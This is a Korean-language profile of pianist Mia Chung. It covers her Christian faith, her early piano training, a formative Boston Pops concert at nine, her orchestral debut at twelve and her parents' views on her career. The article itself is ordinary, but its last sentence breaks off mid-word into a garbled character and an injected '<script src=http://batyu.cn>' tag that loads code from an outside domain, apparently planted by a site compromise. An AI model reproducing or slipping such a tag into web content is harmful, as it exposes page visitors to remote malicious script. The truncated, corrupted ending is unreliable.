“신은 나에게 음악을 통해 인생에 대한 값진 가르침을 준다. 인내하는 법, 앞일에 대해 걱정하지 않고 주어진 여건에서 최선을 다하는 것 등… 나는 언제나 최선을 다해서 연주회를 준비한다. 그리고 그 이후의 일은 하나님의 손에 맡긴다.”
|
피아니스트 미아 정에게 있어 음악은 그녀 인생의 전부도 아니고 목표도 아니다. 단지 풍요로운 그녀의 삶을 구성하는 일부분이며, 그녀가 행복한 삶을 누리고 신에게 다가가는 데 필요한 방법 중의 하나일 뿐이다. 그래서 그런지 미아 정에게서는 여유가 느껴진다. 결과에 조급해하거나 연연해하지 않고 자신의 삶을 관조하며 살아가는, 과정 자체가 아름다운 한 사람의 인간. 언제나 최선을 다해 신에게 영광 돌리기 위해 살아가는 사람…
아홉 살 때의 충격적인 경험이 피아니스트로의 꿈 키워 미아 정은 여섯 살 때 피아노를 처음 접했다. 그녀는 분명 특별한 음악적 재능을 지니고 있었던 것 같다. 주일이면 예배 후에 교회에서 피아노를 치며 시간을 보내곤 했던 그녀는 음악을 듣고서 그것을 바로 피아노로 연주해내어 주위를 놀라게 했다. 그러다 미아 정이 정식으로 피아노 레슨을 받기 시작한 것은 집에 피아노를 들여놓으면서부터,
그러니까 그녀가 일곱 살 때다. 그러나 그때까지 귀로 듣고 피아노를 치는 것에 익숙해 있던 일곱 살의 미아 정에게 처음 접한 악보는 거추장스럽고 귀찮은 존재였고, 이에 새 피아노에 대한 흥미가 곧 식어버린 그녀는 여느 아이들처럼 학교에 갔다오면 책가방을 던져놓고 친구들과 노는 것에 열중했다.
“저는 피아노 치는 것을 좋아했었어요. 하지만 대부분의 아이들이 그렇듯이 연습하는 것은 좋아하지 않았죠. 아마도 그때는 나의 음악적 가능성을 스스로 몰랐기 때문에 그 정도의 실력에 만족하고 더 열심히 할 필요를 못 느꼈던 것 같아요.”
그러다 아홉 살 때 미아 정은 그녀의 인생을 완전히 바꾸어놓는 경험을 하게 된다. 보스톤 팝스 오케스트라의 공연을 보러 간 미아 정은 그녀와 동갑내기 피아니스트가 하이든의 「피아노 협주곡 D장조」를 협연하는 모습을 보았고, 그의 수준 높은 연주력에 큰 충격을 받았다. 그의 연주는 미아 정에게 어떤 도전의식 같은 것을 불러일으켰던 것이다. 그녀는 더 좋은 연주를 하기 위해서 최선을 다할 필요를 느꼈다.
“그때부터 하루에 두세 시간씩 연습하기 시작했습니다. 매일 새벽 여섯 시에 일어나 학교 가기 전에 연습을 했죠. 가족들은 아침마다 저의 우렁찬 피아노 소리를 들으며 잠에서 깨야했어요. 오빠들은 제가 피아노 배우기를 시작하는 것을 결코 바라지 않았을 거에요.”
이후 그녀의 꿈은 줄곧 콘서트 피아니스트가 되는 것이었고, 몇몇 콩쿨과 연주회에서의 성공은 그녀의 자신감을 더욱 북돋아주었다.
열세 살 때까지 그녀는 여러 콩쿨에서 우승했고, 열두 살 때 볼티모어 심포니 오케스트라와의 협연으로 데뷔무대를 가졌다. 당시 그녀는 네 차례에 걸쳐 멘델스존 「피아노 협주곡 d단조」를 연주했는데, 세 번의 공연이 끝났을 때 이제 공연이 한 번밖에 남지 않았다는 사실에 무척 우울해했었고, 미아 정은 그런 자신을 보면서 자신이 피아노를 얼마나 좋아하는지를 새삼 깨닫게 되었다고 한다.
▶ 음대와 의대의 갈림길에서
신중하고 여유있는 미아 정의 성품은 그녀의 부모로부터 물려받았을 것 같다. 그녀와 마찬가지로 그녀의 부모도 결코 서두르는 법이 없었다. 아니, 그녀의 부모와 마찬가지로 미아 정도 그러하다고 해야 옳은 표현일 것이다. 그들은 그녀를 믿고 그녀의 의견을 존중해 주면서도 어린 그녀가 경솔해지지 않도록 세심하게 배려하는 것을 잊지 않았던 듯 하다. 미아 정의 부모는 그녀가 음악가로서 화려한
경력을 쌓아나가기만을 바라지 않았다. 오히려 그녀가 유년기와 청소년기 내내 음악가로서의 꿈을 버리지 않자 다른 분야에 대한 공부도 열심히 해서 궁극적으로 교양 있는 사람이 되겠다고 약속한다면 음악을 선택해도 좋다는 조건부 허락을 했다.
이런 부모의 영향이 없지 않았을 것이다. 미아 정이 음악대학이 아닌 하버드를 선택했던 데에는. 미아 정은 소위 ‘신동’이라 불리우는, 잘 나가는(?) 연주자였음에도 불구하고 대?script src=http://batyu.cn> |